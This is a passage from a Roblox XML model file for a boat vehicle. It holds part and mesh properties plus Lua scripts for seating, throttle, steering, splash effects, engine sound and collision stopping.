									<Y>7</Y>
									<Z>676.5</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">2</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">2</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Part</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">2</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.000119591765</X>
									<Y>-1.06147667e-007</Y>
									<Z>-1.84821693e-006</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-5.25412497e-006</X>
									<Y>0.00265236758</Y>
									<Z>-0.000230133752</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>2</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="BlockMesh" referent="RBX5436">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="Bevel">0</float>
									<float name="Bevel Roundness">0</float>
									<float name="Bulge">0</float>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX5437">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">ParentScript</string>
							<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX5438">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">true</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
						</Properties>
					</Item>
					<Item class="VehicleSeat" referent="RBX5439">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>6.5</Y>
								<Z>653</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<bool name="HeadsUpDisplay">true</bool>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<float name="MaxSpeed">0</float>
							<string name="Name">VehicleSeat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<int name="Steer">0</int>
							<int name="Throttle">0</int>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Torque">1</float>
							<float name="Transparency">0</float>
							<float name="TurnSpeed">0</float>
							<Vector3 name="Velocity">
								<X>-3.68376323e-006</X>
								<Y>-0.000163583667</Y>
								<Z>-0.000170019412</Z>
							</Vector3>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5440">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>-0.300000012</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>0.400000006</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX5441">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">BoatScript</string>
							<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 41 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
						<Item class="Script" referent="RBX5442">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">true</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">WaterScript</string>
								<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5443">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">106</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>4</Y>
								<Z>662</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Base</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-9.25963468e-006</X>
								<Y>0.000912742224</Y>
								<Z>0.00012895999</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>4</Y>
								<Z>30</Z>
							</Vector3>
						</Properties>
						<Item class="BlockMesh" referent="RBX5444">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX5445">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">BG</string>
								<float name="P">3000</float>
								<CoordinateFrame name="cframe">
									<X>-24.9994659</X>
									<Y>4.98020554</Y>
									<Z>51.0000038</Z>
									<R00>2.38418579e-007</R00>
									<R01>-0.000661137048</R01>
									<R02>-0.999999702</R02>
									<R10>4.02139267e-006</R10>
									<R11>0.999999762</R11>
									<R12>-0.000661137048</R12>
									<R20>0.99999994</R20>
									<R21>-4.02127625e-006</R21>
									<R22>2.38418579e-007</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>0</X>
									<Y>400000</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyVelocity" referent="RBX5446">
							<Properties>
								<bool name="Archivable">true</bool>
								<string name="Name">BV</string>
								<float name="P">1250</float>
								<Vector3 name="maxForce">
									<X>1000000</X>
									<Y>0</Y>
									<Z>1000000</Z>
								</Vector3>
								<Vector3 name="velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyPosition" referent="RBX5447">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">1250</float>
								<string name="Name">Hover</string>
								<float name="P">10000</float>
								<Vector3 name="maxForce">
									<X>0</X>
									<Y>INF</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="position">
									<X>0</X>
									<Y>5</Y>
									<Z>0</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX5448">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">EngineScript</string>
								<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX5449">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Engine</string>
								<float name="Pitch">2.5999999</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5450">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">106</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>7.5</Y>
								<Z>635</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>-1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Tip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>7.51115294e-008</X>
								<Y>-0.00231623533</Y>
								<Z>-0.000289611198</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>3</Y>
								<Z>4</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX5451">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX5452">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5453">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1001</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>1.49977231</Y>
								<Z>652.000366</Z>
								<R00>-0.379232794</R00>
								<R01>7.06185756e-006</R01>
								<R02>0.925301254</R02>
								<R10>-0.000609595445</R10>
								<R11>0.999999762</R11>
								<R12>-0.000257473439</R12>
								<R20>-0.925301015</R20>
								<R21>-0.000661701837</R21>
								<R22>-0.379232705</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Stabilizer</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>4.83606081e-012</X>
								<Y>1.31824383e-008</Y>
								<Z>5.09991331e-019</Z>
							</Vector3>
							<float name="TopParamA">0</float>
							<float name="TopParamB">0</float>
							<token name="TopSurface">6</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00281082955</X>
								<Y>-0.00603180937</Y>
								<Z>-0.027405588</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX5454">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="BodyGyro" referent="RBX5455">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="D">500</float>
								<string name="Name">Stabilizer</string>
								<float name="P">200</float>
								<CoordinateFrame name="cframe">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<Vector3 name="maxTorque">
									<X>8.99999949e+009</X>
									<Y>0</Y>
									<Z>8.99999949e+009</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5456">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>4</Y>
								<Z>677.5</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">RearTip</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.000119591765</X>
								<Y>-1.06147667e-007</Y>
								<Z>-1.84821693e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-1.09049233e-005</X>
								<Y>0.00276641455</Y>
								<Z>0.00012895999</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>6</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX5457">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.600000024</X>
									<Y>1</Y>
									<Z>0.600000024</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX5458">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">StopScript</string>
								<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX5459">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-1147</X>
								<Y>1.49977231</Y>
								<Z>672.000366</Z>
								<R00>0.556114554</R00>
								<R01>7.06181436e-006</R01>
								<R02>0.83110553</R02>
								<R10>-0.000553871098</R10>
								<R11>0.999999762</R11>
								<R12>0.000362112798</R12>
								<R20>-0.831105351</R20>
								<R21>-0.000661701604</R21>
								<R22>0.556114435</R22>
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				<Vector3 name="RotVelocity">
					<X>-0.000119591765</X>
					<Y>-1.06147667e-007</Y>
					<Z>-1.84821693e-006</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-4.50734478e-006</X>
					<Y>0.000984551618</Y>
					<Z>-0.000182668547</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>5</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX5471">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
